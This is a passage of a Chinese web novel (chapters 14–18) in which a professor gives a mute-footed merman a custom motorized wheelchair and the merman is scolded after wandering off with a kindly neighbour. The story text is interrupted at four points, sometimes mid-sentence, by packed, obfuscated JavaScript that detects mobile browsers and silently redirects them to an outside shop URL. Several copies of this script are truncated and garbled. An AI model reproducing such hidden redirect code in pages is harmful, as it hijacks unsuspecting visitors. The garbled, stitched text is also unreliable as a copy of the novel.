“他甚至不是装的!他哭得可惨了!” “我们让他休息,他不哭了。我们提出再试试走路,他就给我们讲故事。故事讲完了我们说再试试,他就再给我们讲一遍刚才那个故事。” “我们凶一点说不听了,马上开始练习走路!他就又哭了……” 说完,石巍和常雨霖异口同声: “我们真的搞不定小鱼!” “我们真的搞不定小鱼!” “……”关路远冷脸沉默,转而问,“他讲了什么故事?” 石巍赶忙把那故事给关路远重复了一遍。 听完,关教授擦干手上的水渍,转而进了小人鱼的卧室。 房间里,念西澄还在床上抽搭。 大概是白天真的哭得太狠,此时抬头看向关路远,眼角还红红的。 套着薄裙子的身子一颤一颤的,打着泪嗝。 真不像装的。 哭得确实惨。 但关路远没有心软,只不动声色将视线挪往地面,沉声说: “你没好好学走路。” 声音很冷。 连小人鱼都听出了凶。 念西澄呜咽一声,试探着问: “你想不想听故事?” “不想。” 也不管人家说了不想,念西澄自顾自非要把故事说完: “我想起小时候一个晚上,问身边的人,天空会不会很重?” “……” “星星们那么小,背着那么大的天空,会不会累坏了?” “……” “讲完了。”这三个字,小人鱼说得软软的,听起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“再试一次,好不好?” “呜……” “我抱着你,试一下。” 也许想到关教授抱得会比石巍更稳更安全,念西澄纠结许久,还是委屈巴巴点头同意了。 于是,关路远揽着念西澄的胸和腰,把人提起来。 小人鱼的脚趾只堪堪触到瓷砖,来不及施力试着站稳,就疼得双手直往教授身上攀,要离开地面。 “哎!” “不行不行!好痛!” “再试一下……” “我很怕痛的!求求你了……” 关路远手上暗暗收劲,要把小人鱼放下,让对方的足底更充分接触地面…… 结果念西澄也干脆将计就计软下去,腿脚没骨头似的,顺势就瘫坐在地上。 关路远站着,低头看人。 念西澄坐着,仰头看人。 一个一脸无语,一个一脸无辜。 “咦?”念西澄突然感应到什么似的,眼还含着泪,就激灵起来,“我想到办法了!” “什么办法?” 念西澄翻身,双手撑在地上,腰背用力,往前一扒拉…… 两条垂在地上的腿被带着往前拖。 说白了,就是“爬”。 关路远:“……” 一开始用臂力还能爬得体面,爬没两下肌肉就没力气了,念西澄就又腰臀并用地扭动…… 屁股高高撅起。 说白了,就是“蛄蛹”。 关路远:“……” 成何体统! “别爬了,算了。” “嗯?”小毛毛鱼支起上身看回去。 只见关教授抬手掩着脸,声音稍显疲惫道: “不走路就不走路吧。我之后给你打个轮椅。” 15. 第 15 章 清晨,基地大堂里。 众教授和研究员们又聚在一起,端着咖啡,有一句没一句聊着正式工作前的闲嗑。 也不是大佬们多爱聊八卦。 毕竟都是凡人,哪怕在各自领域都是顶天立地的支柱,脱离工作时,依旧是些需要放松的肉身和需要缓神的大脑。 闲时聚着胡言乱语谈天说地,成了他们在基地中的娱乐活动之一。 而那位从不参与这项活动的关路远教授,就是这时候,推着一辆空的钢架轮椅进来的。 自然而然,众大佬们不由自主停下了闲聊,目光齐齐追随着关路远移动。 关路远则目不斜视,习以为常在万众瞩目的视线中,推着轮椅转进了一间办公室。 “关教授那轮椅是给谁准备的?” “唉,大概率又是一件不解之谜了,就跟过去我们所有对关教授的好奇一样……” “等一下,”有教授发现了盲点,“关教授去的不是程教授的办公室吗?” 本追随着关路远停在办公室门口的众视线,齐刷刷转移到人群中的程教授身上。 程教授一怔,不期然成为话题主角,他陡然精神。 “关教授居然主动找程教授!” “看来这回我们的好奇心有机会被满足了!” “程教授,打听那轮椅作用的大任,就全交给你了!” 专精机械与编程的工科大佬程教授放下咖啡杯,推推眼镜,整整衣领,昂首挺胸大阔步地,在众人殷切期待的注视之下,走向了自己的办公室。 程教授办公室里。 关路远站在轮椅边,正在看手机。 几年前的老款摩托罗拉折叠手机在男人的大手中,分明厚实,却依旧显得小巧。 这一款只具备基础的沟通功能,哪怕现时代推出了更多功能的新款手机,关路远也没打算更新换代。 倒不是买不起。 只是没必要,就懒得换。 大概是工作习惯,项目发掘总来得突然,关路远说走就走,一走就不知要离开多久,便养成了他极强的执行力。 前两天刚和小人鱼说完给打个轮椅,今天,定制好的轮椅就被关路远推来了基地里。 “咳咳,这不是关教授吗?” 门口,回自己办公室的程教授居然不太自在,声线有点拿腔拿调。 关路远抬头,看到程教授,便收起手机,颔首示意,算打过了招呼。 “关教授这轮椅是……” “想劳烦程教授改装一下,加个动力马达。” “哦哦!好说,那这轮椅是给谁……” “自然不会占程教授的便宜,我会按市场价的双倍提供成本费用和人工费。” “哎!关教授太客气了!所以这轮椅是给……” “不合适的话,三倍也行。” “不是这个意思,我只是问这轮椅是……” “五倍。” “好嘞!” 改装正式开始。 虽然先前的试探被关路远不知是否有意地打岔过去,但程教授还没死心。 毕竟负责改装的是程教授自己,答案问不出来,凭借蛛丝马迹推理,难不倒擅长动脑的教授—— “坐垫特地换了东南亚进口的乳胶啊?自己手机都用老款,却这么舍得用料,看来是给家里人打造的吧?” 关路远犹疑片刻。 确实在家里,也确实是人。 不过严格来说,应该算“家里鱼”。 但这话题不好展开,他便应了声“嗯”当做回答。 程教授意味深长“哦”一声,继续改装。 又过了会儿。 “加装语音播报?使用者看不懂汉字啊……看来是农村的老人家吧?文化水平还没跟上。” 关路远又犹疑片刻。 小人鱼从外貌和认知水平来看,确实给人以幼态的感觉。 可事实上,人家是神秘的人鱼种族,年龄难以判断。 假若念西澄来源于深海那处预估千百年前的遗迹文明里,换算成人类的年纪,保不准真能称得上是“老人家”。 关路远便模棱两可回了句,“算是吧。” “怎么还算是?老人就老人年轻就年轻,总不能年纪轻轻就一把年纪了吧哈哈哈!” 程教授打着趣,没放在心上,继续改装。 大佬工作效率高,不多时,电控系统、驾驶摇杆和动力马达都安装完毕。 最后验收阶段,关路远提出,要在系统里补个限速。 “哦!对对对!自动行驶模式的速度得加个上限,要不突然冲太快,给人吓出个好歹就不好了!” 程教授理解了关路远的用意,当即动手,在编程里加入安全限制。 一辆兼顾舒适与安全的电动轮椅就此改造完毕,程教授看着这堪称“完美”的作品,忽而感慨起关路远的细心—— “真孝顺呐!”程教授感叹出声。 关路远:“?” “还以为关教授天生性子冷,看来,对家里的老人还是很上心的嘛!” “……不是那样的。” “哎!孝顺有什么可遮掩的!能让你主动找我搭上人情,还对细节这么用心的,还能是什么人?你个单身汉又没有妻儿!” “……” “难不成是有心上人了?”程教授兀自推理起来,“不识字的,要语音播报功能的……通常评价文盲是‘会听说不会读写’,关教授居然喜欢文盲?这能有共同话题吗?或者说是盲人?是外国人?” “别猜了。不是心上人。”关路远淡定推走轮椅,“先行一步。程教授记得发我账单。” “哎哎,关教授,真就一点都不能透露吗……” 关路远推着轮椅刚到门口,来看热闹的刘川柏就凑上来好奇打量: “给孩子的?” 关路远竟没否认,平静说了两句什么,就推轮椅走远了。 这一幕被旁观者尽收眼底,令程教授大为震撼—— 坏了!要辜负同志们的信任了。 好像得知了个不能被分享的秘密! 不是家里老人,也不是心上人…… 关路远这浓眉大眼的家伙居然有私生子了! * 正午时分,关路远把轮椅带回宿舍楼。 由于时下电梯还不普及,老旧楼区就更不可能安装了。 把轮椅带到三楼不方便,关路远干脆直接把念西澄抱到一楼的院子里看。 常雨霖和石巍当然没错过这个热闹。 于是俩学生就被科技赋能过的轮椅,震慑得一愣一愣的。 而听到关教授说,升降梯的设计图已经定稿,今天之内就会有工人带着材料来安装,以便念西澄坐着轮椅无障碍上下楼…… 俩学生就更震撼了。 当事鱼念西澄对人类科技发展水平并不了解,所以尚不了解个中含金量,还懵懵的。 见状,常雨霖忙对关路远说:“教授,快给小鱼讲讲这轮椅设计的巧思呀!” 念西澄已经被放在轮椅的软垫上坐着,关路远便绕到他身后,手把手教他: “这是方向杆。感应到握力,轮椅就会切换电动模式,你可以灵活调整行进方向。如果不握着,轮椅就会回到机械模式,不调动电池能量,由人推动行进。” 常雨霖翻译:“说白了!就是你可以自己控制轮椅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205101|150904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走,也可以让人推着你走!” 石巍更期待了,“好酷!还有呢还有呢!” “知道这些就够了。”关路远却直起身,淡淡道,“你们先玩着。” 然后就走了。 常雨霖:“……” 石巍:“……” 让他介绍用心的巧思。 他讲了基础用法就跑路了。 坐在轮椅上的念西澄已经握着摇杆,前后左右一点点试着挪动。 这是小人鱼第一次凭自己的意识决定身体的移动方向,是很新奇的体验。 正玩得起劲,忽然想起什么,念西澄推着摇杆追上了关路远。 刚要迈步上楼的关路远听到身后声音,停下,转身,问:“怎么了?” 念西澄仰着头真诚道:“谢谢教授。” 没想到,关路远竟轻哼一声,像是一个笑。 教授说:“收到礼物及时道谢,是个好习惯。我没教你,你也知道要这么做,很好。” 念西澄抿着唇,点点头。 原来,及时道谢是好习惯。 他记住了。以后要经常这么做。 与关教授告别,念西澄坐着轮椅回到原地,便利的移动令他高兴,他笑着对常雨霖和石巍夸: “你们人类好厉害!有了这个,不能走路的人也能到处玩了!” 闻言,常雨霖和石巍相视一笑,一起蹲在了小人鱼身边。 “小鱼,我们人类市面上还没普及这么厉害的商品呢!以我有限的见识,这种轮椅,目前你独一份有!” 听得念西澄讶异地微睁大眼。 说罢,石巍又拿手指试探着戳了戳厚实的坐垫,眼见指腹陷进乳胶中,触感令人感慨: “不管是定制还是改装,这轮椅绝对费了教授不少功夫。换做是我送小鱼这份礼物,我绝对要三百六十度无死角解说我的心意,他却那么轻描淡写!” “关教授是这样的!”常雨霖无奈轻笑,“我们隐约觉得他对我们很好,可要说详细实例,又很难举出个所以然来,仔细想想记忆里全是他很凶的样子哈哈哈哈!” “你说……会不会是怕对我们好得太明显,怕我们爱上他?” “说不准呢?我中学就有个帅哥数学老师,有天被学生递了情书,自那天起就开始油头吐痰不修边幅……” 石巍尴尬挠挠脸,“那我忏悔。我初见时确实垂涎过教授背心下的腹肌线条和大臂上的肱二头肌。” “你居然对关教授心动过?!”反倒是常雨霖惊讶了,“我见到教授时,他早都恶名在外了。我本来就是为了学术才跟着关教授的。” “说得好像我多心思不正一样!直男喜欢肌肉有什么问题!” “你心虚什么?我又没说你有问题。” “不过,关教授也不是只对学生冷淡,他分明是平等‘霸凌’身边每一个人好吗!他也没有怕学生觊觎美色就不修边幅,教授衣品可是公认的好!所以,绝对不是怕有人暗恋他,纯粹只是天才的独特个性而已!” “为什么岔开话题?再聊会儿你暗恋教授的事呗?” “是崇拜!不是暗恋!” 常雨霖和石巍骂骂咧咧又撕巴起来。 俩人类学生的话题,小人鱼听得不是很理解。 但俩学生提到教授时,嘴角抑制不住的笑意,让念西澄笃定确认: 在学生们眼里,关教授特别好。 想到这里,念西澄动了动身体。 轮椅座位边缘的乳胶垫形成记忆凹陷,软乎乎包裹着大腿的肌肉,非常舒服。 念西澄眯着眼睛无声笑: 同时,在小人鱼眼里…… 教授特别特别特别好。 16. 第 16 章 小人鱼得到了新礼物——电动轮椅。 像小朋友获得了新玩具一样爱不释手,念西澄从坐上轮椅开始,就一直在环楼圈出的露天小院里来回打转,连饭点都忘了。 还是常雨霖特地帮忙把打包的饭菜塞到其手上,小人鱼才注意到自己肚子在咕咕叫,饿了该吃饭了。 一开始为了试探人鱼的食欲和消化系统,教授投喂的都是简单的高蛋白质食物,鲜奶、鸡蛋,甫以适合鱼饲的面包和饼干。 共同生活磨合了一段时日,发现小人鱼能吃大米饭和面条,且没有不良反应,关教授去餐馆觅食后,都会给小人鱼打包一份回来。 今天的午餐是明虾烧汁盖饭,还不会用筷子的小人鱼握着勺子挖饭吃,一直笑盈盈的,吃得很香。 常雨霖和石巍蹲在念西澄对面,看着小人鱼的吃相,疑惑先前也没看到弟弟吃这么香啊,控制变量后得出结论—— 因为收到了轮椅。 小人鱼心情特别好,所以吃饭时也开心。 “嘿嘿,”自己还是小孩的常雨霖表示,“好像开始理解当爸妈的为什么会溺爱小孩给买玩具了。” “嘿嘿,”母胎solo的石巍表示,“好像开始理解谈恋爱的人为什么省吃俭用也要给对象买买买了。” “别感慨了。” 随着男低音在背后响起,俩学生脑袋顶被不轻不重同时摁了一下。 俩学生抬头,看到关教授手抄兜站在背后,说:“准备去基地。” “哦哦!” “遵命!” 即将出发的师生三人,看向还在吃饭的小人鱼。 “那小鱼现在先回房间吧?”石巍说。 念西澄一怔,将手中吃到一半的饭盒放在膝上,仰头看向三楼的位置。 大概是今天经历的自由和快活,让小人鱼回忆起前几日独处于房间内的闭塞与寂寥,对比太过鲜明,让他表情失落。 常雨霖细心,注意到了,轻声问:“小鱼是不是还舍不得回房间?” 就跟难得出来玩正起劲的小朋友舍不得回家一样。 念西澄点头,呜咽问:“能不能再玩一会儿呀?” 声音软绵绵的。 好可怜,好乖。 常雨霖嗷一声,看向石巍。 石巍也嗷一声,看向关路远。 关路远手揣在兜里,沉着脸,面无表情看着念西澄。 念西澄双手抠着饭盒的边缘,无意识咬着下唇,低头看人的上目线楚楚可爱。 就这么僵持了一小会儿。 石巍先反应过来,试图劝小孩,“我们下午都不在家,你一个人在楼下不安全。下午还有陌生人来安装电梯架子呢,小鱼先回房间好不好?” “呜……” 小人鱼喉咙里挤出动物幼崽一般求饶的声音,令人心生怜悯。 听得石巍于心不忍,扭曲着五官看向关路远,替小人鱼求情。 本以为这招对“铁面无私”的关教授无效,岂知关路远竟说: “你留下来看家。” “啊?”石巍指指自己的鼻子。 “刚好把欠的报告补了,顺便下午监工电梯,我不用特地赶回来。” “哦哦,好呀!”石巍忙不迭点头。 大概是不放心,常雨霖替教授叮嘱石巍,“别贪玩!学业为重!咱俩同时写一起交的报告,我过了你没过,自己好好补补课!别满脑子都是陪小鱼玩!” “我才没有贪玩!我没过就不能是因为我笨吗!” “?” 关路远则沉默看着念西澄片刻,命令道: “限定你今天只能在院子里玩。如果有必须出门的情况,必须告知石巍你的去向。” 念西澄乖巧点头,答:“好。” * 下午,不贪玩的石巍发愤图强,真的没有和小人鱼玩,自己在院子里搬了张桌子,就伏案苦读补写报告。 小人鱼也很懂事,没有打扰苦学的石巍,自己驾着轮椅在院子里打圈玩。 如关路远所说,一点半左右,有工程队开着大卡车停在院门外,车斗里装满长条状的木料和钢材,一看就是要搭升降梯的架子用的。 石巍按教授发来的设计书,和工程队利落交接后,工人们就按计划开始施工。 院子里逐渐人声鼎沸,空地上开始堆满建材。 小人鱼的活动范围一点一点被限制,直到不知不觉间就被挤到院门口。 轮椅再灵活,也飞跃不过满地的钢材,念西澄抬眼看向石巍的方向,却见桌子后空了。 男生大概是去上厕所了。 念西澄撇撇嘴,听见脚手架高处的工人扯着嗓子和地面的同事交流,声音嘹亮,语气迫切,震得小人鱼心脏一颤一颤。 他听着不舒服,想往门外躲一躲,便驱着轮椅越过门槛。 拉开距离后,噪音就没那么像在耳边引爆的炸弹,小人鱼紧蹙的眉头舒展开,四下无聊地看看天看看地,直到稍远处传来女人惊喜的呼唤: “咦?美人鱼!” 念西澄循声望去,只见一个穿着碎花袄子的卷发胖婶婶,正笑着看向自己。 念西澄认得她,她就是在海边第一个发现自己的那个好心婶婶,也是后来给自己塞好吃海蛎饼的好心婶婶。 “婶婶好。”小人鱼学着常雨霖和石巍对她的叫法,打了声招呼。 “哎!真乖!”婶婶笑弯了眼,走过来,“怎么一个人在这呀?”她在院门口往里探头,皱起眉,“我说怎么这么吵,原来是在装修呀?” “嗯!” “美人鱼怎么一个人在这里呀?” “关教授和常雨霖上班去了。”念西澄回答,“石巍在学习。” “哦哦!哟,教授还特地给你搞了个这么漂亮的轮椅呀?真不错!这样美人鱼就可以自己出去玩了!” “嗯……” 哐当! 就在这时,高空作业的工人把一根钢条往地上扔,金属剧烈碰撞发出巨响,吓得小人鱼和婶婶都一激灵。 婶婶心有余悸拍着胸口,低头看到轮椅上的念西澄皱眉撇嘴,显然也被吓坏了,便感叹: “虽然教授和学生们是知识分子,但毕竟要么是五大三粗的男人,要么是年纪小的孩子,都没照顾人的经验!这么吵的地方,怎么能就把美人鱼丢在这里呢?这不得吓坏了!” “呜……” “这样吧!美人鱼你先回婶婶那儿躲躲!等教授下班回来,我非得亲自说他两句!来,婶婶给你炸海蛎饼吃!” 想起先前海蛎饼的口感和味道,念西澄舔了舔嘴唇。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205102|150904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他回头看向院内的桌子,石巍还没回来,婶婶正指着隔壁没多远的矮楼,说家就在那儿,三两步就到。 婶婶太过热情,言语炮弹没停过,听得念西澄耳热。 他招架不住,也信任婶婶,就干脆同意,被婶婶推着轮椅带回了家。 路上,两人交换了称呼。 婶婶喜欢小人鱼,亲昵地叫“澄澄”,小人鱼管婶婶叫“庞婶”。 进楼后,念西澄好奇地打量起环境。 庞婶的家装非常有滨镇的特色,颇具原始风情的石头古厝,墙壁上挂着竹编的大圆簸箕,厨房里的风箱灶台上架着一口大铁锅。 很有生活气息。 与关教授那间只有学生来偶尔开火的厨房截然不同。 “来,吃个橘子。” 小人鱼正仰头到处看,不经意手里就被塞了个圆滚滚的水果。 他低头,盯着那果皮光滑的橘子看,庞婶见了,想到孩子可能不认识橘子,就笑着重新拿了一个: “那个你拿着玩,婶婶再给你剥一个。” 三两下,被剥了皮和橘络的果肉,被塞进念西澄另一只手里。 念西澄盯着看了会儿,一整个拿着就要往嘴里塞。 庞婶笑着拦下来,又给孩子分成一瓣一瓣的。 小人鱼这才将一瓣果肉放进嘴里。 只一抿,果皮就被压爆,酸甜冰凉的果汁溢满整个口腔。 “嗯……”念西澄因微酸缩了下肩膀,直到回甘的甜漫上来,他才笑着说,“好吃!” “好吃就行!”庞婶高兴极了,“婶婶再给你剥一个!一会儿你留下吃晚饭,婶婶给你炸海蛎饼!” 念西澄又被塞了一个剥好的橘子,他想起教授之前的肯定,接物后忙道谢:“谢谢婶婶!” “好乖啊!”庞婶更喜欢了,“教养真好!” 念西澄听不懂教养是什么意思,但看婶婶表情,也能确认自己做对了。 小人鱼陪着妇人玩了一下午,饭点前庞婶开始调炸物的馅料,怕小人鱼无聊,就让孩子跟在边上简单打下手,帮忙递些工具。 庞婶的丈夫是踩着饭点回来的。 他手里拎着一绳猪肉条,正要给老婆炫耀,就看到庞婶身边的念西澄。 “哟,这孩子是谁?长得真漂亮!”叔叔夸道。 念西澄乖巧打招呼,“叔叔好。” “哎哎!他是不是就是你说的那美人鱼呀?看着长得挺像咱女儿的,怪不得你提起他时那么喜欢。” 叔叔跟庞婶说话,庞婶不搭理。 叔叔把肉条摆到庞婶面前的桌上,庞婶还是不搭理。 叔叔自讨没趣,摸了摸鼻子,尴尬地赔笑: “哎呀,还气呢?下雨前忘了收棉被是我不好……我知道你爱吃猪肉,给你买来赔罪。” 叔叔的手刚搭到庞婶肩上,就被老婆气呼呼抖落。 哄不好老婆的叔叔瞥一眼旁观的小人鱼,不好意思笑笑,灰溜溜走了。 这对夫妻的相处模式,念西澄尽收眼底—— 看似更具力量感的男人,因为身材更瘦弱的女人不说话,就极力讨好。 小人鱼想: 原来人类社会,存在这样的神秘力量—— 只要不说话,更强大的人类就会害怕。 17. 第 17 章 整个下午,念西澄都在被反复加深这个认知的印象。 因为庞婶越不理叔叔,叔叔越要勾搭庞婶说话。 叔叔越勾搭,庞婶越不搭理,叔叔就越着急,越想尽办法讨好庞婶。 直到庞婶被叔叔骚扰烦了,凶巴巴瞪人一眼。 叔叔见好就收,憨笑着说行行行我出门散步你消消气,总算才让庞婶眼不见为净。 “德行。”庞婶嗔怪一句,睨了叔叔背影一眼。 念西澄这才好奇问:“庞婶很讨厌叔叔吗?” 庞婶被逗笑,“哈哈哈!这孩子真单纯!不是这么回事!” 念西澄歪头。 如果不讨厌,为什么不想跟那个人说话? 见小孩疑惑,庞婶不好意思笑笑,才说: “就是关系好,这招才有效呢。” “嗯?” “如果我不说话,他还不主动哄我,哼,那就说明我们的关系完了!” “哦……” 小人鱼似懂非懂,默默更新了今天的人类观察结论—— 因为关系好,哪怕是健壮的人类,也会害怕瘦弱的人类,不跟自己说话。 晚饭的时间,庞婶特地留小人鱼吃晚饭,而在外溜达的叔叔也准时回了家。 这回在餐桌上,庞婶总算消了点气,叔叔搭话,她终于才有一句没一句地接话。 这回小人鱼看懂了: 庞婶和叔叔是真的关系很好。 因为一个看似害怕,一个看似讨厌,可两人说话的时候,眼睛里都带着笑。 饭后,叔叔扫地,庞婶洗碗。 念西澄跟在庞婶边上,想起那叔叔所说的,便问: “我长得很像你们的女儿吗?” “有一点点像吧,都是小小的脸大大的眼睛,皮肤很白。” 庞婶转身看到念西澄的小脸,想起女儿,突然表情怀念: “不过,确实都很乖。唉,她去外地上学了,好久没见她,想她了。” “不在家里,那你们就不能说话了。” 因为刚聊完“关系好却不说话”的事,单线程的小人鱼就惦记上了“说话”这个重点。 “哈哈哈……” 庞婶被小人鱼纯粹的反应逗得大笑,好久才缓回来: “也不是完全不能说话,我们可以打电话。我家里没装电话,得去镇子里的小卖铺拿公用电话打,有点麻烦。话费也很贵,所以我们电话打得少。” 念西澄还没见识过所谓的“打电话”是什么,只默默记住这个概念,“打电话的话,你们不在一起,也能说话?” “对呀!” “能说话的话,你就会开心吗?” “那当然!” “唔……” 庞婶给小人鱼盖过渔布,庞婶给小人鱼海蛎饼,庞婶还给小人鱼橘子和晚饭。 因为庞婶对小人鱼很好,所以小人鱼想让庞婶开心。 念西澄想:如果能让庞婶和女儿说话,庞婶就会开心了。 就在这时,庞婶家门外传来点骚动。 听起来是交流声,似乎是一个女生在问叔叔什么,语调很急切。 念西澄听着那声音有点耳熟,便驱着轮椅去看。 就见门外的常雨霖一脸焦急,手上比划着和叔叔说话。 “咦?”看到熟悉的人,念西澄第一反应就是和她搭话。 那边话才说到一半,常雨霖眼角余光瞥见了屋内的念西澄,眸光一亮。 她先是一惊,转瞬喜悦,随即又皱起眉,转头对附近喊道“小鱼在这里——”,最后气呼呼地走了进来。 难得看到常雨霖生气的表情,念西澄有点懵。 让小人鱼更懵的情况接连出现,先是后面石巍气喘吁吁闯进来,远远的都能看到男生发红的眼眶…… 再是最后走进来的关路远。 若说以往的脸色只是并无表情,此时关教授的神情,称得上阴沉。 哪怕是对人类了解不多的念西澄,也能敏锐察觉到教授不悦的情绪。 怎么了…… 三个字还来不及从念西澄嘴里说出来,常雨霖就先开了口—— “念西澄!你怎么能乱跑呢!” 音量很高,声音很抖。 吓了念西澄一跳。 这好像是常雨霖第一次完整呼唤他的名字。 但却并非以温柔的语气,而是前所未有的责备。 “你知道我们有多担心吗!你知道我们和教授找了你多久吗!呜……” 尾音一哽,带了哭腔,被常雨霖强行憋了回去。 小人鱼还一脸茫然。 旁边的庞婶当然先反应过来,忙拍手出来解释: “哎呀你看我这事办的!我看院子里没人,澄澄被单独留在那儿不安全,我就把他带回来了……我以为他这么大的人了,不用跟你们打招呼。这事是我没办好,你们别骂他,啊……” 庞婶把领念西澄回家的全程完整描述了一遍,包括那院子里多危险拥挤,包括小人鱼被噪音吓到的表情,算是解释清了缘由。 一切都是事出有因,真不是念西澄乱跑。 可常雨霖和石巍还是撇着嘴没说话,年轻孩子依旧没消化好情绪。 关键时刻还是教授足够稳重,上前与庞婶交谈,体面处理,没留下邻里罅隙。 整个过程中,念西澄直勾勾盯着关路远。 关路远的视角,应该能注意到念西澄的视线。 但却不知有意无意,教授竟全程没看过小人鱼,哪怕一眼。 小人鱼心跳加快: 他察觉,自己好像犯错了。 与庞婶交接完,石巍主动过来,把住轮椅的后扶手,就把小人鱼推走。 念西澄惦记着男生眼眶的红,想回头问对方有没有哭,就听到背后石巍委屈的声音: “你别回头。” 声线潮湿。 念西澄不敢动了。 石巍继续说: “我还以为……我把你弄丢了。” 语气掺着失而复得的惶恐。 念西澄不敢说话了。 他想,虽然自己现在安全且完整…… 但是,这件事情好像很严重。 四个人一起回了家。 路上,三小只把话说开了: “小鱼,你不知道我们有多担心你!” “嗯!我以为你被坏人带走了,或者是迷路走丢了……不管是哪种可能性,我都难以想象后果……” “小鱼,你自己说,你想因为被坏人带走或者走丢,以后再也不能和我们一起玩吗?” 小人鱼认真摇头。 “这就对了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205103|150904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以,下次不能随便跟别人走了,知道吗!” 小人鱼认真点头。 看小人鱼的表情,也知道这孩子是听进去了,常雨霖舒了一口气,察觉气氛有点凝重,开起玩笑缓解: “小鱼,你可是害石巍一个大男孩,差点哭鼻子!” “我没哭!”石巍快蹦起来了,“我那是找不到小鱼急的!” “嗯嗯,急得哭鼻子了。” “才没有!” 说笑间,小孩们得以互相理解—— 念西澄明白,常雨霖和石巍生气,是因为担心和珍视自己。 常雨霖和石巍也明白,被单独留在那里的念西澄,是真的被吓到了。 只不过,靠谱大人关路远,全程依旧没看念西澄,也没和念西澄说话。 就这样,四人到了家。 天色渐黑,工人们早都回去了。 掺着余晖的月色下,可见院中的电梯架子已经焊好了框架,不消几日就能搭建完毕。 宿舍楼其余学生出项目都没返回,整片院落空荡荡的,静得可以。 关路远没说话,俩学生便也不敢多说,而自知犯错的念西澄,也就更不敢说话了。 念西澄想起庞婶不理叔叔的时候。 他想:原来,重要的人不说话,自己是真的会害怕。 到楼梯边,关路远自然弯腰,伸手把念西澄从轮椅上捞起来,横抱进怀里。 虽然不说话,但该抱还是抱。 “小鱼晚安!” “小鱼明天见!” “晚安,明天见!” 与俩学生互道晚安后,念西澄配合地环着教授的脖颈,乖乖任人抱着。 随教授上楼梯时,小人鱼偷偷抬眼,打量教授的表情。 高挺的鼻梁,绷紧的唇线。 入夜的昏暗光影,落在男人毛流浓密的眉睫上,在眼眶边压出一片乌云似的阴影。 看不清眼神,只品出危险。 本就略带侵略性的五官,一旦情绪不佳,就更显压迫感。 小人鱼不自知把手臂缠得更紧。 像是想从这个让自己产生威慑感的人身上,汲取安全感。 转眼到了房间,关路远站在床边,要把念西澄放回床面。 两人抱得频繁,早就产生默契,不需要教授开口,只是一个动作倾向,小人鱼都知道要怎么配合松手。 但这回,教授已经弯腰泄劲,小人鱼却还是抱着人的脖子没撒手。 “嗯?”关路远疑惑轻出声,直起身,看向怀里的人。 念西澄就着被抱的姿势,抬眼看教授,小声问: “教授还在生我的气吗?” 小心翼翼的试探。 念西澄想起在庞婶家的所见所闻。 他本来不敢问教授,不敢主动跟教授说话。 因为他怕教授像生气的庞婶不理叔叔一样,也不理自己。 如果教授不跟自己说话,小人鱼觉得,自己会很难过。 可他又忍不住,想跟教授说话。 正忐忑时,小人鱼听到教授低低的声音: “没生气。” 小人鱼睁大眼,眸子都亮起来—— 教授没有像婶婶不理叔叔那样不理我。 教授还愿意和我说话! 教授没想让我害怕! 18. 第 18 章 这回,关教授再弯腰收劲,小人鱼就舍得撒手了,配合着一骨碌滚回床上。 他笑着抬头,准备和教授分享在庞婶家的见闻,却见教授表情依旧阴沉,二话不说,转身走出了房间。 不是说没生气吗? 怎么看起来还是凶凶的? 小人鱼默默想。 不过没关系。 小人鱼又想。 今天还没泡澡呢,教授一会儿还会回来接我。 如小人鱼所料,不多时,关路远又重回了房间。 念西澄兴冲冲朝关教授伸手,习以为常地要抱抱,准备被带到主卧浴室泡澡。 可意外的,关路远并没抱他。 教授进屋第一件事,就是把加湿器工作频率调高,随后,把手中一条毛巾挂在小人鱼伸长的手臂上。 “嗯?”念西澄把毛巾取下来,发现是湿的,有点沉。 不知涂了什么,闻起来还有点香香的。 关路远站在床边,与小人鱼保持着居高临下的距离感,冷声道: “来复盘今天的事。” “呜……”小人鱼歪头,“不是说没生气吗?” “教育这件事,与我个人的情绪无关。” “嗯?” “无论我生没生气,做错事的人,都需要接受惩罚。” 惩罚。 小人鱼紧张起来,咽了咽口水。 手指不自知掐紧毛巾,湿漉漉的水滴淌下来。 “念西澄。” “嗯……” “下午,我限定了你的活动范围,且吩咐你离开必须告知石巍。两件事你都答应了。” 恰到好处的停顿,压迫感拉满。 小人鱼低着头,隐约开始理解,常雨霖和石巍为什么那么害怕关教授。 “嗯……”念西澄应。 关路远继续说:“但,两件事你都没做到。” “对不起……” “你的态度与道歉,我收到了。你给常雨霖和石巍的保证,我也听到了。” 